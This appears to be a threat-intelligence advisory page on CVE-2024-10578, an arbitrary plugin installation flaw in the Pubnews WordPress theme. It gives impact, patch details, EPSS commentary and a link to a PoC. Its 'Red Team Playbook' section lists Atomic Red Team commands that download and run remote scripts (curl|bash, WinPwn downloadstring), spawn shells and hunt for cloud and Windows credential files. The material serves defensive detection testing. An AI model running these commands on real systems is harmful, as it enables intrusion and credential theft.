CVE-2024-10578
Overview
This vulnerability is an authorization bypass in the blazethemes Pubnews WordPress theme caused by a missing capability check in the pubnews_importer_plugin_action_for_notice() function. The affected component is the plugin installation mechanism within the theme's admin interface, which fails to verify user privileges before allowing plugin installation actions. This flaw exists in all versions up to and including 1.0.7.
Vulnerability Description
The Pubnews theme for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the pubnews_importer_plugin_action_for_notice() function in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install arbitrary plugins that can be leveraged to exploit other vulnerabilities.
Impact
An attacker with Subscriber-level or higher WordPress credentials can install arbitrary plugins, potentially enabling further exploitation such as remote code execution or privilege escalation. This requires authentication but no user interaction beyond login. The vulnerability allows attackers to bypass intended access controls, leading to unauthorized code execution or persistent compromise of the WordPress environment. The CVSS vector indicates network attack vector with low complexity and privileges required (AV:N/AC:L/PR:L/UI:N).
Solution
Upgrade the blazethemes Pubnews WordPress theme to version 1.0.8 or later, where the missing capability check in pubnews_importer_plugin_action_for_notice() has been implemented. Detailed patch information and source code changes are available at the WordPress themes repository changelog: https://themes.trac.wordpress.org/changeset/250743/pubnews/1.0.8. No additional workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Pubnews theme for WordPress stems from a critical oversight in the implementation of capability checks within the pubnews_importer_plugin_action_for_notice() function. This function lacks the necessary authorization verification, allowing authenticated users with Subscriber-level access and above to execute arbitrary plugin installations. The absence of proper access controls means that even users with minimal privileges can exploit this flaw to introduce malicious plugins into the WordPress environment. This situation is particularly concerning as it opens the door for attackers to leverage these plugins to execute further exploits, potentially compromising the entire site.
Attack vectors for this vulnerability are straightforward yet highly effective. An authenticated attacker can utilize their access to trigger the vulnerable function, leading to the installation of malicious plugins without any administrative oversight. Once a malicious plugin is installed, the attacker can gain additional privileges, exfiltrate sensitive data, or deploy further payloads that could lead to a complete takeover of the WordPress site. Scenarios may include an attacker installing a backdoor plugin that allows for persistent access, or a data-stealing plugin that siphons user credentials or payment information. The ease of exploitation, combined with the low barrier to entry for attackers, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for businesses relying on WordPress for their online presence. The potential for unauthorized access to sensitive data can lead to significant financial losses, reputational damage, and legal repercussions due to data breaches. Businesses may face downtime as they scramble to mitigate the effects of an attack, leading to lost revenue and customer trust. Furthermore, the ability for attackers to install arbitrary plugins means that the attack surface is greatly expanded, increasing the likelihood of successful exploitation of other vulnerabilities within the WordPress ecosystem.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Pubnews theme and monitoring for any available patches is essential to close this security gap. Additionally, employing security plugins that monitor for unauthorized changes to the WordPress installation can help detect any malicious activity. Organizations should also enforce the principle of least privilege, ensuring that users only have the access necessary for their roles. Regular security audits and vulnerability assessments should be conducted to identify and remediate any potential security weaknesses proactively.
In conclusion, the vulnerability in the Pubnews theme for WordPress represents a significant threat to the security of WordPress installations. The lack of capability checks allows authenticated users to install arbitrary plugins, which can be exploited to compromise the entire site. The potential real-world impacts are profound, affecting not only the immediate security posture of the affected site but also the broader business implications. By adopting robust detection and mitigation strategies, organizations can better protect themselves from the risks associated with this vulnerability and maintain the integrity of their WordPress environments.
CSURFACE threat intelligence has detected a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-10578, with the score rising by approximately 15% to exceed the 0.51 threshold. This upward adjustment reflects a growing likelihood of exploitation attempts targeting the Pubnews WordPress theme vulnerability. Although our telemetry indicates that exploitation activity remains stable over the past week without rapid escalation, the elevated EPSS score suggests heightened attacker interest and a greater probability of successful compromise in the near term. Additionally, the emergence of new proof-of-concept exploits publicly available on GitHub has lowered the barrier for adversaries to weaponize this vulnerability, potentially expanding the pool of less sophisticated actors capable of mounting attacks. For defenders, this shift underscores an increased urgency to monitor for signs of arbitrary plugin installations and to reassess detection capabilities accordingly. The risk profile for affected WordPress environments has therefore intensified, warranting heightened vigilance despite the absence of a marked surge in active exploitation.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-10578
Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation
|
Nxploited | 0 | 0 | 2025-03-23 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
37%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10578 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/7eaa0117-5320-431f-b3d2-05a867901528?source=cve |
| themes.trac.wordpress.org |
GitHub CVE
|
https://themes.trac.wordpress.org/browser/pubnews/1.0.7/inc/admin/admin.php#L1017 |
| themes.trac.wordpress.org |
GitHub CVE
|
https://themes.trac.wordpress.org/changeset/250743/pubnews/1.0.8?contextall=1&old=245552&old_path=%2Fpubnews%2F1.0.7 |